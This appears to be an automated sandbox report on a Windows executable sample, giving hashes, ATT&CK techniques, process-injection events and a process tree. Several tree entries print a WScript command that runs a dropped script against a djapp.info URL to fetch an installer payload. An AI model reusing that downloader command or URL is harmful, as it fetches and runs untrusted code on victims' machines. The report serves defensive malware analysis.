4f1329c3b6796ec2a91a405986dd30b27eca30c2ec1b51377f959e0ddee962d2

General

Target

6a6e1755dba61fdaa7a4b5de4325d452_JaffaCakes118.exe
Size

184KB
MD5

6a6e1755dba61fdaa7a4b5de4325d452
SHA1

028b00c2fb1f42c076bfbe0492fa270b91f11529
SHA256

4f1329c3b6796ec2a91a405986dd30b27eca30c2ec1b51377f959e0ddee962d2
SHA512

bc183ad099863232363c2f310b6fda7b97367ac85f65aa0330b4eee96c2f403bda1225497de49d6ced5065e4741a8c846107dcb964a126d3838ca22acb6dd0a5
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO32:/7BSH8zUB+nGESaaRvoB7FJNndnH

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 6 IoCs

flow	pid	Process
15	4900	WScript.exe
40	5100	WScript.exe
43	3128	WScript.exe
44	3128	WScript.exe
56	3792	WScript.exe
59	3424	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000\Control Panel\International\Geo\Nation	6a6e1755dba61fdaa7a4b5de4325d452_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000_Classes\Local Settings	6a6e1755dba61fdaa7a4b5de4325d452_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2196 wrote to memory of 4900	2196	6a6e1755dba61fdaa7a4b5de4325d452_JaffaCakes118.exe	82
PID 2196 wrote to memory of 4900	2196	6a6e1755dba61fdaa7a4b5de4325d452_JaffaCakes118.exe	82
PID 2196 wrote to memory of 4900	2196	6a6e1755dba61fdaa7a4b5de4325d452_JaffaCakes118.exe	82
PID 2196 wrote to memory of 5100	2196	6a6e1755dba61fdaa7a4b5de4325d452_JaffaCakes118.exe	97
PID 2196 wrote to memory of 5100	2196	6a6e1755dba61fdaa7a4b5de4325d452_JaffaCakes118.exe	97
PID 2196 wrote to memory of 5100	2196	6a6e1755dba61fdaa7a4b5de4325d452_JaffaCakes118.exe	97
PID 2196 wrote to memory of 3128	2196	6a6e1755dba61fdaa7a4b5de4325d452_JaffaCakes118.exe	98
PID 2196 wrote to memory of 3128	2196	6a6e1755dba61fdaa7a4b5de4325d452_JaffaCakes118.exe	98
PID 2196 wrote to memory of 3128	2196	6a6e1755dba61fdaa7a4b5de4325d452_JaffaCakes118.exe	98
PID 2196 wrote to memory of 3792	2196	6a6e1755dba61fdaa7a4b5de4325d452_JaffaCakes118.exe	101
PID 2196 wrote to memory of 3792	2196	6a6e1755dba61fdaa7a4b5de4325d452_JaffaCakes118.exe	101
PID 2196 wrote to memory of 3792	2196	6a6e1755dba61fdaa7a4b5de4325d452_JaffaCakes118.exe	101
PID 2196 wrote to memory of 3424	2196	6a6e1755dba61fdaa7a4b5de4325d452_JaffaCakes118.exe	102
PID 2196 wrote to memory of 3424	2196	6a6e1755dba61fdaa7a4b5de4325d452_JaffaCakes118.exe	102
PID 2196 wrote to memory of 3424	2196	6a6e1755dba61fdaa7a4b5de4325d452_JaffaCakes118.exe	102

C:\Users\Admin\AppData\Local\Temp\6a6e1755dba61fdaa7a4b5de4325d452_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\6a6e1755dba61fdaa7a4b5de4325d452_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2196
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf346E.js" http://www.djapp.info/?domain=BwIQwxswVT.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXH C:\Users\Admin\AppData\Local\Temp\fuf346E.exe
  2⤵
  - Blocklisted process makes network request
  PID:4900
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf346E.js" http://www.djapp.info/?domain=BwIQwxswVT.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXH C:\Users\Admin\AppData\Local\Temp\fuf346E.exe
  2⤵
  - Blocklisted process makes network request
  PID:5100
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf346E.js" http://www.djapp.info/?domain=BwIQwxswVT.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXH C:\Users\Admin\AppData\Local\Temp\fuf346E.exe
  2⤵
  - Blocklisted process makes network request
  PID:3128
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf346E.js" http://www.djapp.info/?domain=BwIQwxswVT.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXH C:\Users\Admin\AppData\Local\Temp\fuf346E.exe
  2⤵
  - Blocklisted process makes network request
  PID:3792
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf346E.js" http://www.djapp.info/?domain=BwIQwxswVT.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXH C:\Users\Admin\AppData\Local\Temp\fuf346E.exe
  2⤵
  - Blocklisted process makes network request
  PID:3424

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf346E.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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Analysis

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